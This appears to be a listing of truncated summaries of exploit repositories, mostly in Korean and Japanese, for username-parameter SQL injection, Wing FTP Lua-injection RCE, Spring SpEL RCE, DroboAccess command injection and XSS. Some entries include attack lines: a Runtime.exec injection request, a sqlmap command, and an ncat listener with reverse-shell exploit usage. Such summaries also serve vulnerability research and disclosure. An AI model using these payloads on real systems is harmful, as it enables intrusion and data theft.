CVE-2024-35511

PHPGurukul 남성 살롱 관리 시스템 2.0 PHPGurukul 남성 살롱 관리 시스템 2.0 저장소에 오신 것을 환영합니다. 이 프로젝트는 남성 살롱 관리를 위한 강력한 시스템을 제공하는 것을 목표로 합니다. 보안 취약점 CVE-2024-35511 설명: 'username' 매개변수를 통한 SQL 인젝션에 취약합니다. 영향을 받는 버전: 2.0 영향: 공격자는 'username' 매개변수를 조작하여 무단 액세스 권한을 얻을 수 있습니다. 해결책: 적절한 입력 검증을 구현하고 매개변수화된 쿼리를 사용하십시오...

CVE-2024-12484

CVE CVE-poc 문제 유형 SQL 인젝션 근본 원인 “Technical Forum Using PHP Source Code” 프로젝트의 /signuppost.php 파일에서 SQL 인젝션 취약점이 발견되었습니다. 취약점은 공격자가 로그인 사용자 이름 매개변수를 통해 악성 코드를 주입할 수 있고, 해당 매개변수를 검증 없이 SQL 쿼리에 직접 사용할 수 있다는 사실에서 비롯됩니다. 이로 인해 공격자는 입력 값을 변조하여 SQL 쿼리를 조작하고 무단 작업을 수행할 수 있습니다. 영향 공격자는 이 SQL 인젝션 취약점을 악용하여...

CVE-2021-42665

CVE-2021-42665 CVE-2021-42665 - Engineers Online Portal 시스템의 SQL 인젝션 인증 우회 취약점. 기술 설명: Engineers Online Portal 로그인 폼에 SQL 인젝션 취약점이 존재하여 공격자가 인증을 우회할 수 있습니다. 영향을 받는 구성 요소 - 취약한 페이지 - login.php 취약한 파라미터 - "username", "password" 익스플로잇 단계: 1. http://localhost/niamunozmonitoringsystem/login.php 로 이동합니...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server の重大な RCE 🛡️ 🔎 概要: CVE-2025-47812 は、Wing FTP Server バージョン 7.4.4 より前のバージョンに影響を与える 重大なリモートコード実行 RCE 脆弱性です。セキュリティ研究者によって発見され、実際に活発に悪用されている ことが確認されています。 🧱 根本原因: この脆弱性は、Wing FTP Server の 認証ロジック 、特に username パラメータ内の ヌルバイト \0 の処理方法に起因します。 攻撃者はユーザー名フィールドを介して 任意の Lua コード...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 계륵 같은 취약점, 그냥 기록용. 1. redis 실행, 27017 포트 2. 프로젝트 실행, springboot는 6666 포트에서 실행 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: / Accept-Language:...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server Lua 주입을 통한 RCE 작성자: 0xgh057r3c0n 🧠 설명 이 익스플로잇은 Wing FTP Server 의 로그인 핸들러loginok.html의 Lua 주입 취약점을 이용하여 임의의 운영 체제 명령을 실행하거나 리버스 셸을 획득합니다. username 매개변수를 통해 정제되지 않은 Lua 코드 실행을 악용합니다. 📦 요구 사항 Python 3.6 이상 pip3 Python 패키지 다음 명령으로 필수 패키지를 설치합니다: pip3 install -r...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...

CVE-2023-2594

CVE-2023-2594 https://vulners.com/cve/CVE-2023-2594 SourceCodester Food Ordering Management System 1.0에서 critical로 분류된 취약점이 발견되었습니다. Registration 구성 요소의 알 수 없는 기능이 영향을 받습니다. username 인수의 조작으로 SQL 인젝션이 발생합니다. 원격으로 공격을 시작할 수 있습니다. 이 취약점의 식별자는 VDB-228396입니다...

Zoo Management System 1.0 - SQL Injection

Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id:...

Loan Management System 1.0 - SQL Injection

Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id: CVE-2025-9744 info: name:...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE 익스플로잇 이 저장소는 CVE-2025-47812 에 대한 개념 증명 익스플로잇을 제공합니다. 이는 Wing FTP Server 의 원격 명령 실행RCE 취약점입니다. 공격자는 인증 중 username 매개변수를 악용하여 임의의 Lua 기반 시스템 명령을 주입하고 실행할 수 있으며, 이로 인해 완전한 원격 코드 실행이 가능합니다. 📌 익스플로잇 기능 🔧 사용자 정의 셸 명령의 원격 실행 🧬 다양한 내장 리버스 셸 페이로드 bash, Python, netcat 등...

CVE-2024-6043

CVE-2024-6043 CVE-2024-6043 개요 이 Python 도구는 SourceCodester Best House Rental Management System 1.0에 영향을 주는 CVE-2024-6043 취약점을 악용합니다. 이 취약점은 adminclass.php 파일, 특히 로그인 기능의 username 매개변수를 통해 원격 공격자가 SQL 인젝션을 수행할 수 있게 합니다. 이 도구는 취약한 엔드포인트를 탐지하고 인증을 우회하는 페이로드를 주입하는 과정을 자동화합니다. 기능 자동 경로 탐지 : 도구는 대상 서버에...

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL

Red-Planet-Laundry-Management-System-1.0-SQL 취약점 존재 https://vulners.com/cve/CVE-2022-28452 https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452 https://laundry.redplanetcomputers.com/ 1-설명: Red Planet Laundry Management System 1.0은 /index.php/login/rediract 에서 'username' 매개변수를 통해 SQL 주입에...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1의 enableuser 함수에서의 인증되지 않은 명령 주입 사용법: 사용하려면 먼저 리스너를 시작하세요 ncat -nvlp 1337 그런 다음 익스플로잇을 실행하세요 예시: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='익스플로잇을 위한 호스트, 예: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='리스너 IP',...

CVE-2025-7753

🚨 CVE-2025-7753 — SQLインジェクション PoC Exploit 作者: Byte Reaper Telegram: @ByteReaper0 CVE: CVE‑2025‑7753 脆弱性: 認証不要、時間ベースSQLインジェクション 🔍 概要 Online Appointment Booking System 1.0 Code‑Projects のファイル /admin/adddoctor.php に深刻なSQLインジェクション脆弱性が存在します。username...

CVE-2025-8550

CVE-2025-8550 – atjiu pybbs XSS 익스플로잇 설명 이 저장소는 atjiu pybbs ≤ v6.0.0에서 발견된 반사형 교차 사이트 스크립팅XSS 취약점인 CVE-2025-8550 에 대한 자동화된 개념 증명PoC 익스플로잇을 제공합니다. 이는 입력값 검증이 부족한 /admin/topic/list 엔드포인트의 username 매개변수를 대상으로 합니다. 기능 20개 이상의 페이로드 변형: script, SVG, iframe, object, onerror 핸들러 등. 자동 URL 인코딩: libcurl의...

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability-

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-인젝션-취약점 익스플로잇 작성자: ugurkarakoc 공급업체 홈페이지 https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql 소프트웨어 링크 https://phpgurukul.com/?sdmprocessdownload=1&downloadid=17826 개요 Online-Nurse-Hiring-System-v1.0은 'username' 매개변수에 대한 입력 검증 및 ...

CVE-2023-7172

CVE-2023-7172 概要 このプロジェクトには、SQLインジェクション（CVE-2023-7172）の影響を受けやすい病院管理システム（HMS）の脆弱性のあるバージョンが含まれています。SQLインジェクションは、システムのセキュリティと機能に深刻な影響を与える可能性がある重大なWebアプリケーションの脆弱性です。 CVEの詳細 CVE ID: CVE-2023-7172 脆弱性の種類: SQLインジェクション 影響を受けるコンポーネント: 管理者ログインページ 脆弱なパラメータ: username ベンダー情報: phpgurukul.com 脆弱なバージョン: Hospital...

CVE-2021-39377

OPENSIS 8.0 SQL 인젝션 취약점 CVE-2021-39377 openSIS 8.0 버전에서 MySQL MariaDB을 애플리케이션 데이터베이스로 사용할 때 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 취약한 username= 매개변수를 통해 MySQL MariaDB 데이터베이스에 SQL 명령을 실행할 수 있습니다. 취약한 PHP 페이지: index.php - username 매개변수 취약한 페이로드 sqlmap "http://localhost:8081/index.php" --users...

CVE-2021-41647

CVE-2021-41647 CVE-2021-41647 Online-Food-Ordering-Web-App의 SQL 인젝션 Online-Food-Ordering-Web-App는 인증되지 않은 오류 기반 및 시간 기반 블라인드 SQL 인젝션 공격에 취약합니다. /login.php 페이지의 username 매개변수는 사용자 입력을 검증하지 않으므로, 공격자는 간단한 우회 기법으로 로그인을 우회할 수 있습니다. 애플리케이션 링크 Online-Food-Ordering-Web-App 영향을 받는 구성 요소 및 매개변수 URL:...